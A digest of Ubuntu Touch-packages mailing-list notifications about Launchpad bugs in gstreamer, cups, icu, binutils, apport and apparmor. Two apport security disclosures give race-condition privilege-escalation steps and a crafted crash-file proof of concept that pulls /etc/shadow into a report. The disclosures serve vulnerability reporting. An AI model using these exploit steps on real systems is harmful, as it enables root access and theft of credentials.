This bug was fixed in the package gst-rtsp-server1.0 - 1.22.2-1 --- gst-rtsp-server1.0 (1.22.2-1) experimental; urgency=medium * Team upload * New upstream bugfix release (LP: #2015943) -- Jeremy Bícha Tue, 11 Apr 2023 20:31:13 -0400 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gstreamer1.0 in Ubuntu. https://bugs.launchpad.net/bugs/2015943 Title: gstreamer 1.22.2 bugfix release Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Triaged Status in gst-rtsp-server1.0 package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Triaged Bug description: https://gstreamer.freedesktop.org/releases/1.22/#1.22.2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/2015943/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015943] Re: gstreamer 1.22.2 bugfix release
This bug was fixed in the package gst-libav1.0 - 1.22.2-1 --- gst-libav1.0 (1.22.2-1) experimental; urgency=medium * Team upload * New upstream bugfix release (LP: #2015943) -- Jeremy Bícha Tue, 11 Apr 2023 20:34:35 -0400 ** Changed in: gst-libav1.0 (Ubuntu) Status: Fix Committed => Fix Released ** Changed in: gst-rtsp-server1.0 (Ubuntu) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gstreamer1.0 in Ubuntu. https://bugs.launchpad.net/bugs/2015943 Title: gstreamer 1.22.2 bugfix release Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Triaged Status in gst-rtsp-server1.0 package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Triaged Bug description: https://gstreamer.freedesktop.org/releases/1.22/#1.22.2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/2015943/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015943] Re: gstreamer 1.22.2 bugfix release
** Also affects: gstreamer1.0 (Ubuntu) Importance: Undecided Status: New ** Changed in: gstreamer1.0 (Ubuntu) Status: New => Triaged ** Also affects: gst-plugins-base1.0 (Ubuntu) Importance: Undecided Status: New ** Changed in: gst-plugins-base1.0 (Ubuntu) Status: New => Triaged -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gstreamer1.0 in Ubuntu. https://bugs.launchpad.net/bugs/2015943 Title: gstreamer 1.22.2 bugfix release Status in gst-libav1.0 package in Ubuntu: Fix Committed Status in gst-plugins-base1.0 package in Ubuntu: Triaged Status in gst-rtsp-server1.0 package in Ubuntu: Fix Committed Status in gstreamer1.0 package in Ubuntu: Triaged Bug description: https://gstreamer.freedesktop.org/releases/1.22/#1.22.2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/2015943/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2016014] Re: Printing via CUPS still takes ages to start
*** This bug is a duplicate of bug 2014976 *** https://bugs.launchpad.net/bugs/2014976 The file Dependencies.txt, automatically attached to this bug report when you created it, shows that you ahve still the old cups-browsed 2.0b4 installed and not the new 2.0rc1. Only the latter contains my fix for your bug. Please update your system again. Perhaps the new cups-browsed has already arrived. ** This bug has been marked a duplicate of bug 2014976 CUPS doesnt work anymore with my HP Printer -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/2016014 Title: Printing via CUPS still takes ages to start Status in cups package in Ubuntu: New Bug description: The printer now prints colour again, but it is still extreme slow. When I print a page, it takes about 5 minutes to start. Again this is on all Ubuntu 23.04 but not on 22.10. ProblemType: Bug DistroRelease: Ubuntu 23.04 Package: cups 2.4.2-3ubuntu2 ProcVersionSignature: Ubuntu 6.2.0-20.20-generic 6.2.6 Uname: Linux 6.2.0-20-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.26.0-0ubuntu2 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: KDE Date: Wed Apr 12 16:27:33 2023 InstallationDate: Installed on 2022-10-13 (181 days ago) InstallationMedia: Kubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 (20220809.1) Lpstat: device for HP_Color_LaserJet_MFP_M280nw_83DB46: implicitclass://HP_Color_LaserJet_MFP_M280nw_83DB46/ MachineType: ASUS System Product Name Papersize: a4 PpdFiles: HP_Color_LaserJet_MFP_M280nw_83DB46: HP ColorLaserJet MFP M278-M281, driverless, 2.0rc1 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-6.2.0-20-generic root=UUID=bbfb5c10-aebe-4f03-ba37-aa48af5e7bf8 ro quiet splash vt.handoff=7 SourcePackage: cups UpgradeStatus: Upgraded to lunar on 2023-03-31 (11 days ago) dmi.bios.date: 12/03/2020 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1401 dmi.board.asset.tag: Default string dmi.board.name: ROG STRIX B550-E GAMING dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1401:bd12/03/2020:br5.17:svnASUS:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnROGSTRIXB550-EGAMING:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring:skuSKU: dmi.product.family: To be filled by O.E.M. dmi.product.name: System Product Name dmi.product.sku: SKU dmi.product.version: System Version dmi.sys.vendor: ASUS To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/cups/+bug/2016014/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2016021] Re: icu FTBFS on lunar
What ICU is this? I can't tell which version from here. Your analysis sounds reasonable, may have to ignore the tests (there's a logKnownIssue mechanism) - put the following before the failing test case: if (logKnownIssue("https://bugs.launchpad.net/ubuntu/+source/icu/+bug/2016021;, "tzdata issue")) { return; } -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to icu in Ubuntu. https://bugs.launchpad.net/bugs/2016021 Title: icu FTBFS on lunar Status in icu package in Ubuntu: Confirmed Bug description: During the last test rebuild, it was noticed that icu failed to build from source, with the following failures in the test suite: - | *** FAILING TEST SUMMARY FOR: intltest TestAliasedNames TestCanonicalID TimeZoneTest format | *** END FAILING TEST SUMMARY FOR: intltest The issue is related to the recent tzdata updates: not only the usual batch of changes made to reflect the current state of the world, but also changes made to have a better data set for pre-1970 dates. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/icu/+bug/2016021/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015778] Re: conffile prompt during release upgrade
** Tags added: rls-ll-incoming -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to binutils in Ubuntu. https://bugs.launchpad.net/bugs/2015778 Title: conffile prompt during release upgrade Status in binutils package in Ubuntu: New Bug description: I was upgrading from Kinetic to Lunar today and received a question about a configuration file I had not touched. Setting up binutils-common:amd64 (2.40-2ubuntu3) ...^M ^M Configuration file '/etc/gprofng.rc'^M ==> File on system created by you or by a script.^M ==> File also in package provided by package maintainer.^M What would you like to do about it ? Your options are:^M Y or I : install the package maintainer's version^M N or O : keep your currently-installed version^M D : show the differences between the versions^M Z : start a shell to examine the situation^M The default action is to keep your current version.^M *** gprofng.rc (Y/I/N/O/D/Z) [default=N] ? d^M ^[[?1h^[=^M--- /etc/gprofng.rc 2022-12-01 03:11:36.0 -0800^[[m^M +++ /etc/gprofng.rc.dpkg-new2023-03-05 00:47:46.0 -0800^[[m^M @@ -1,4 +1,4 @@^[[m^M -# Copyright (C) 2021 Free Software Foundation, Inc.^[[m^M +# Copyright (C) 2021-2023 Free Software Foundation, Inc.^[[m^M #^[[m^M # This file is free software; you can redistribute it and/or modify^[[m^M # it under the terms of the GNU General Public License as published by^[[m^M ^M^[[K^[[?1l^[>^M Configuration file '/etc/gprofng.rc'^M ==> File on system created by you or by a script.^M ==> File also in package provided by package maintainer.^M What would you like to do about it ? Your options are:^M Y or I : install the package maintainer's version^M N or O : keep your currently-installed version^M D : show the differences between the versions^M Z : start a shell to examine the situation^M The default action is to keep your current version.^M *** gprofng.rc (Y/I/N/O/D/Z) [default=N] ? i^M Installing new version of config file /etc/gprofng.rc ...^M To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/binutils/+bug/2015778/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1732962] Re: apport uses sys.argv instead of named arguments
** Changed in: apport (Ubuntu) Importance: Undecided => Low -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1732962 Title: apport uses sys.argv instead of named arguments Status in Apport: Fix Released Status in apport package in Ubuntu: Fix Released Status in apport source package in Trusty: Won't Fix Status in apport source package in Xenial: Fix Released Status in apport source package in Bionic: Fix Released Status in apport source package in Cosmic: Won't Fix Status in apport source package in Disco: Fix Released Bug description: SRU Description [Impact] data/apport which processes core files expects a certain quantity of arguments in a specific order. This ended up causing an issue with some security updates where we were trying to support a new version of apport on a host system and one inside a container. This SRU for xenial and bionic based on the work made in cosmic enabled proper handling of named argument. Note that this is disabled for now on ALL series [Test Case] No real test here since apport general behavior should be unchanged Just to check that the feature is disable, /proc/sys/kernel/core_pattern content should remain unchanged : $> cat /proc/sys/kernel/core_pattern |/usr/share/apport/apport %p %s %c %d %P %E [Regression Potential] The new feature is not enabled so the regression risk is fairly low. this will take place in a future coordinated SRU across all LTS but in the meanwhile we can make sure that there's no regression by making sure apport still behave properly. starting and killing xeyes should trigger apport normal operation and start apport. $> xeyes & $> kill -SEGV $! End SRU Description data/apport which processes core files expects a certain quantity of arguments in a specific order. This ended up causing an issue with some security updates where we were trying to support a new version of apport on a host system and one inside a container. Here's something of an example: 347 # Normal startup 348 if len(sys.argv) not in (5, 6): 349 try: 350 print('Usage: %s [global pid]' % sys.argv[0]) 351 print('The core dump is read from stdin.') We could not maintain backwards compatibility because "global pid" is an optional argument and "dump mode" was a new argument. So if there were five arguments its possible the last one was "dump mode" (no global pid) or "global pid" (no support for dump mode). Its possible to use strings in /proc/sys/kernel/core_pattern so we could use those and have apport accept named arguments e.g: $ cat /proc/sys/kernel/core_pattern |/usr/share/apport/apport --pid=%p --signal=%s --core-size=%c --dump-mode=%d --global-pid=%P ['/home/bdmurray/source-trees/apport/artful/data/apport', '-- pid=5870', '--signal=11', '--core-size=0', '--dump-mode=1', '--global- pid=5870'] Tyler said "that's probably a nice cleanup to make no matter what because the magic arg ordering is dangerous". To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1732962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1948376] Re: race condition in apport lead to Local Privilege Escalation
** Changed in: apport (Ubuntu) Importance: Undecided => Critical -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1948376 Title: race condition in apport lead to Local Privilege Escalation Status in Apport: Fix Released Status in apport package in Ubuntu: Fix Released Bug description: Hello. I'm Muqing Liu @Singurlar Security Lab. I would like to report a vulnerability that lead to Local Privilege Escalation. I found this vurlnebiltiy together with neoni An attacker can use this vulnerability to get a root shell, if one of the following conditions is satisfied: 1. If an unprivilieged user ( e.g. nobody ) is allowed to run a command (e.g. ping) as root via sudo. 2. Or `sendmail` package is installed on system (It's may possible but I have not tested.) Here is the detail: Apport will check if pid is reused, by check if the start time of the process is later than apport self: # /usr/share/apport/apport 594 apport_start = get_apport_starttime() 595 process_start = get_process_starttime() 596 if process_start > apport_start: 597 error_log('process was replaced after Apport started, ignoring') 598 sys.exit(0) But an attacker could reused pid just after apport launched. In such case, get_apport_starttime() == get_process_starttime(). So, an attacker can get root shell under Condition 1, by following steps. 1. prepare a process X to crash, whose pid is A 2. repeating fork process, until current pid reaches A - 2 3. make process X crash, apport will be launched by kernel with pid A - 1. Then attacker kill process X, so pid A is now available. 4. attacker run command `sudo ping 8.8.8.8` with current directory /etc/logrotate.d/. a process running under root:root will re-occupy pid A. 5. Since the start time of sudo and apport are same, line 596 is by-passed. Apport then drop a core file of process X in /etc/logrotate.d For Condtion 2: Sudo will execute sendmail to send incident report if sendmail is installed. So arbitrary user can run sudo to trigger sendmail at /etc/logrotate.d. I have not tested this case, but I think it's possible to win the race. PoC of Condition 1 is attached. To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1948376/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1934308] Re: Arbitrary file read in general hook (ubuntu.py)
** Changed in: apport (Ubuntu) Importance: Undecided => Critical -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1934308 Title: Arbitrary file read in general hook (ubuntu.py) Status in Apport: Fix Released Status in apport package in Ubuntu: Fix Released Bug description: While reviewing Apport's general hooks it was found that the hook `apport/general-hooks/ubuntu.py` includes user controlled files when handling `emacs`-related reports: if report['Package'] in ['emacs22', 'emacs23', 'emacs-snapshot', 'xemacs21']: # emacs add-on packages trigger byte compilation, which might fail # we are very interested in reading the compilation log to determine # where to reassign this report to regex = r'^!! Byte-compilation for x?emacs\S+ failed!' if attachment in report and re.search(regex, log_file, re.MULTILINE): for line in log_file.split('\n'): m = re.search(r'^!! and attach the file (\S+)', line) # [0] if m: path = m.group(1) apport.hookutils.attach_file_if_exists(report, path) # [1] After using a regular expression to extract the file to attach [0], the extracted file subsequently gets attached to the report file [1]. With automatic crash reporting enabled the following PoC (tested on 20.04/21.04 Desktop) includes the file `/etc/shadow` in the respective report file: cat << EOF > /var/crash/poc.crash ProblemType: Package ExecutablePath: /poc Package: emacs22 DpkgTerminalLog: !! Byte-compilation for emacs22 failed! !! and attach the file /etc/shadow EOF grep -A5 DpkgTerminal /var/crash/poc.crash DpkgTerminalLog: !! Byte-compilation for emacs22 failed! !! and attach the file /etc/shadow .etc.shadow: root:!:18393:0:9:7::: daemon:*:18375:0:9:7::: bin:*:18375:0:9:7::: Best regards! To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1934308/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2016021] [NEW] icu FTBFS on lunar
Public bug reported: During the last test rebuild, it was noticed that icu failed to build from source, with the following failures in the test suite: - | *** FAILING TEST SUMMARY FOR: intltest TestAliasedNames TestCanonicalID TimeZoneTest format | *** END FAILING TEST SUMMARY FOR: intltest The issue is related to the recent tzdata updates: not only the usual batch of changes made to reflect the current state of the world, but also changes made to have a better data set for pre-1970 dates. ** Affects: icu (Ubuntu) Importance: High Status: Confirmed ** Tags: ftbfs -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to icu in Ubuntu. https://bugs.launchpad.net/bugs/2016021 Title: icu FTBFS on lunar Status in icu package in Ubuntu: Confirmed Bug description: During the last test rebuild, it was noticed that icu failed to build from source, with the following failures in the test suite: - | *** FAILING TEST SUMMARY FOR: intltest TestAliasedNames TestCanonicalID TimeZoneTest format | *** END FAILING TEST SUMMARY FOR: intltest The issue is related to the recent tzdata updates: not only the usual batch of changes made to reflect the current state of the world, but also changes made to have a better data set for pre-1970 dates. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/icu/+bug/2016021/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1979681] Re: /usr/share/apport/whoopsie-upload-all:AttributeError:process_report:add_gdb_info:gdb_command:write:read:readinto:read:/usr/share/apport/whoopsie-upload-all@220:main:
** Changed in: apport (Ubuntu) Importance: Undecided => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1979681 Title: /usr/share/apport/whoopsie-upload- all:AttributeError:process_report:add_gdb_info:gdb_command:write:read:readinto:read:/usr/share/apport/whoopsie- upload-all@220:main:collect_info:process_report Status in Apport: Fix Released Status in apport package in Ubuntu: Fix Released Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding apport. This problem was most recently seen with package version 2.21.0-0ubuntu2, the problem page at https://errors.ubuntu.com/problem/e1b63b073d8078b1e53a770ef2dee5aa8562b8a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. Traceback (most recent call last): File "/usr/share/apport/whoopsie-upload-all", line 102, in process_report r.add_gdb_info() File "/usr/lib/python3/dist-packages/apport/report.py", line 778, in add_gdb_info gdb_cmd, environ = self.gdb_command(rootdir, gdb_sandbox) File "/usr/lib/python3/dist-packages/apport/report.py", line 1703, in gdb_command self['CoreDump'].write(f) File "/usr/lib/python3/dist-packages/problem_report.py", line 69, in write block = gz.read(1048576) File "/usr/lib/python3.10/gzip.py", line 301, in read return self._buffer.read(size) File "/usr/lib/python3.10/_compression.py", line 68, in readinto data = self.read(len(byte_view)) File "/usr/lib/python3.10/gzip.py", line 507, in read raise EOFError("Compressed file ended before the " EOFError: Compressed file ended before the end-of-stream marker was reached During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/usr/share/apport/whoopsie-upload-all", line 220, in main() File "/usr/share/apport/whoopsie-upload-all", line 202, in main stamps = collect_info() File "/usr/share/apport/whoopsie-upload-all", line 150, in collect_info res = process_report(r) File "/usr/share/apport/whoopsie-upload-all", line 109, in process_report if getattr(e, 'errno') != errno.ENOENT: AttributeError: 'EOFError' object has no attribute 'errno' To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1979681/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1784116] Re: ubuntu-bug reports the package from other arch as not installed
** Changed in: apport Milestone: 2.26.1 => 2.27.0 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1784116 Title: ubuntu-bug reports the package from other arch as not installed Status in Apport: Triaged Status in apport package in Ubuntu: Triaged Bug description: Ubuntu 18.04.1 Minimal (+++) ubuntu-bug steam returns package not installed: -steam/bionic,now 1:1.0.0.54+repack-5ubuntu1 i386 [installed] -se attachment. To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1784116/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1947425] Re: Use of deprecated 'imp' module
** Changed in: apport (Ubuntu) Importance: Undecided => Medium ** Changed in: apport (Ubuntu Jammy) Importance: Undecided => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1947425 Title: Use of deprecated 'imp' module Status in Apport: Fix Released Status in apport package in Ubuntu: Fix Released Status in apport source package in Jammy: Fix Released Bug description: Impact -- The deprecation warning is just a warning, but it clutters the output and can lead to misattributions in case something does not work as expected. Test Case - 1. apt install apport 2. Execute following command: python3 -Wonce -c "import apport.report" 3. There should be no output. Where problems could occur -- Except for changes to the test cases, _check_interpreted is the only consumer for the changed code. Breakage in this code paths can lead to wrongly assume that the crashing Python code is an interpreted script or not. This can lead to reports that have only ExecutablePath set (and not InterpreterPath). Original Description Code using apport/report.py will see the following warning: $ python3 -Wonce -c "import apport.report" /usr/lib/python3/dist-packages/apport/report.py:13 /usr/lib/python3/dist-packages/apport/report.py:13: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses import fnmatch, glob, traceback, errno, sys, atexit, locale, imp, stat The 'imp' module is slated for removal in Python 3.12. https://github.com/python/cpython/blob/main/Lib/imp.py#L31 To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1947425/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1977954] Re: apport_python_hook: Crashes if os.getcwd() throws FileNotFoundError
** Changed in: apport (Ubuntu) Importance: Undecided => Medium ** Changed in: apport (Ubuntu Jammy) Importance: Undecided => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1977954 Title: apport_python_hook: Crashes if os.getcwd() throws FileNotFoundError Status in Apport: Fix Released Status in apport package in Ubuntu: Fix Released Status in apport source package in Jammy: New Bug description: Impact -- The Apport Python hook should be transparent to the user (which is normally the case). Bugs and crashes inside the hook lead to an exception inside the exception which clutters the output and confuse the user. User/Developer need to understand this Python hook and look into the encapsulated stack trace only. Test Case - 1. Create /tmp/getcwd.py with following content: ``` #!/usr/bin/python3 import os import tempfile tempdir = tempfile.mkdtemp() os.chdir(tempdir) os.rmdir(tempdir) os.getcwd() ``` 2. Make it executable and execute it. It should produce following output: ``` Traceback (most recent call last): File "/tmp/getcwd.py", line 9, in os.getcwd() FileNotFoundError: [Errno 2] No such file or directory ``` instead of: ``` $ /tmp/getcwd.py Traceback (most recent call last): File "/tmp/getcwd.py", line 9, in os.getcwd() FileNotFoundError: [Errno 2] No such file or directory Error in sys.excepthook: Traceback (most recent call last): File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 76, in apport_excepthook binary = os.path.realpath(os.path.join(os.getcwd(), sys.argv[0])) FileNotFoundError: [Errno 2] No such file or directory Original exception was: Traceback (most recent call last): File "/tmp/getcwd.py", line 9, in os.getcwd() FileNotFoundError: [Errno 2] No such file or directory ``` Another related issue: bug #1979637 Regression Potential There might be a regression that causes capturing Python exception fail. Then reporting them as bugs to Launchpad or the error tracker would not be possible. To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1977954/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012374] Re: Cannot enable the TUI: error opening terminal [TERM=]
** Changed in: apport (Ubuntu) Importance: Undecided => Medium ** Changed in: apport Importance: Undecided => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/2012374 Title: Cannot enable the TUI: error opening terminal [TERM=] Status in Apport: Fix Committed Status in apport package in Ubuntu: Fix Committed Bug description: I try to analyze a crash report on riscv64. I am connected to the system via ssh. sudo DEBUGINFOD_VERBOSE=1 apport-retrace --gdb --sandbox system --cache ~/.cache/apport-retrace /var/crash/_usr_bin_qemu-x86_64-static.0.crash In the opened gdb I try to show the source: (gdb) lay src Cannot enable the TUI: error opening terminal [TERM=] My expectation is that gdb shows the source layout. gdb works fine outside apport-retrace. # echo $TERM xterm-256color To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/2012374/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1822712] Re: https mirrors apport-retrace crashed with SystemError in _get_primary_mirror_from_apt_sources(): cannot determine default mirror: /etc/apt/sources.list does not cont
https://github.com/canonical/apport/pull/154 got merged. ** Changed in: apport Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1822712 Title: https mirrors apport-retrace crashed with SystemError in _get_primary_mirror_from_apt_sources(): cannot determine default mirror: /etc/apt/sources.list does not contain a valid deb line Status in Apport: Fix Committed Status in apport package in Ubuntu: Confirmed Bug description: 1. Have other crash occur. 2. Click retrace locally. 3. apport-retrace crashes. The only thing I can think is it's the fact that i changed my mirror to: deb https://mirrors.ocf.berkeley.edu/ubuntu/ disco main restricted universe multiverse deb-src https://mirrors.ocf.berkeley.edu/ubuntu/ disco main restricted universe multiverse ProblemType: Crash DistroRelease: Ubuntu 19.04 Package: apport-retrace 2.20.10-0ubuntu23 ProcVersionSignature: Ubuntu 5.0.0-8.9-generic 5.0.1 Uname: Linux 5.0.0-8-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportLog: ERROR: apport (pid 10677) Mon Apr 1 19:40:34 2019: called for pid 8661, signal 11, core limit 0, dump mode 1 ERROR: apport (pid 10677) Mon Apr 1 19:40:34 2019: executable: /usr/bin/gedit (command line "/usr/bin/gedit --gapplication-service") ERROR: apport (pid 10677) Mon Apr 1 19:40:34 2019: debug: session gdbus call: (true,) ERROR: apport (pid 10677) Mon Apr 1 19:40:42 2019: wrote report /var/crash/_usr_bin_gedit.1000.crash ApportVersion: 2.20.10-0ubuntu23 Architecture: amd64 CrashReports: 640:1000:117:8118520:2019-04-01 20:06:04.204469680 -0700:2019-04-01 20:06:05.204469680 -0700:/var/crash/_usr_bin_gedit.1000.crash 640:1000:117:23602:2019-04-01 20:06:21.172740697 -0700:2019-04-01 20:06:22.172740697 -0700:/var/crash/_usr_bin_apport-retrace.1000.crash CurrentDesktop: ubuntu:GNOME Date: Mon Apr 1 20:06:22 2019 ExecutablePath: /usr/bin/apport-retrace InstallationDate: Installed on 2018-04-14 (352 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180414) InterpreterPath: /usr/bin/python3.7 PackageArchitecture: all ProcCmdline: /usr/bin/python3 /usr/bin/apport-retrace -S system -C /home/username/.cache/apport/retrace -v --output /var/crash/_usr_bin_gedit.1000.crash /var/crash/_usr_bin_gedit.1000.crash ProcEnviron: TERM=xterm-256color PATH=(custom, user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Python3Details: /usr/bin/python3.7, Python 3.7.3, python3-minimal, 3.7.2-1 PythonArgs: ['/usr/bin/apport-retrace', '-S', 'system', '-C', '/home/username/.cache/apport/retrace', '-v', '--output', '/var/crash/_usr_bin_gedit.1000.crash', '/var/crash/_usr_bin_gedit.1000.crash'] PythonDetails: /usr/bin/python2.7, Python 2.7.16, python-minimal, 2.7.16-1 SourcePackage: apport Title: apport-retrace crashed with SystemError in _get_primary_mirror_from_apt_sources(): cannot determine default mirror: /etc/apt/sources.list does not contain a valid deb line UpgradeStatus: Upgraded to disco on 2019-01-05 (86 days ago) UserGroups: adm cdrom dip libvirt lpadmin lxd plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1822712/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012563] Re: unsupported mount options: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime'
Hi Robert, I submitted a PR to allow userspace and filesystem-specific mount options to be validated directly by snapd, since apparmor should only ever see kernel mount options. It should support `nofail` and the functionfs mount options as well as options for most other common filesystems. https://github.com/snapcore/snapd/pull/12712 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apparmor in Ubuntu. https://bugs.launchpad.net/bugs/2012563 Title: unsupported mount options: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime' Status in apparmor package in Ubuntu: New Bug description: The following mount options are unsupported: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime'. Other mount options have mappings from options to bitflags in `parser/mount.cc`, and the bitflags themselves are defined in `parser/mount.h`. Should the aforementioned mount options be included as well, or is there a reason why they are excluded? snapd currently assumes that they are supported, resulting in an error from the apparmor parser when a snap is connected with those options. I'd be happy to file a PR to add these mappings if I knew what the new bitflags should be defined as, and if/how they should be used elsewhere. For completeness: 1) This is a question/bug regarding the source code from the 'ubuntu/devel' branch (and presumably other branches), not a particular release. 2) Same as 1). 3) I expected the apparmor parser to recognize the 'nofail', 'nostrictatime', 'laztime', and 'nolazytime' mount options. 4) The apparmor parser threw an error with message "unsupported mount options" (from within `parser/mount.cc`). To manage notifications about this bug go to: 